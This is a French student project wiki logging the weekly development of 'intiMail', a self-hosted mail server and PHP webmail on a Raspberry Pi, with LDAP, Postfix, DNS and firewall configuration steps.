* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

Fichier:Readme-Intimail.pdf

2016-02-23T10:32:11Z

Tteneur : Guide d'installation d'intiMail sur un système linux fraîchement installé.

Guide d'installation d'intiMail sur un système linux fraîchement installé.

P9 Système d'hébergement domestique

2016-02-23T10:31:30Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
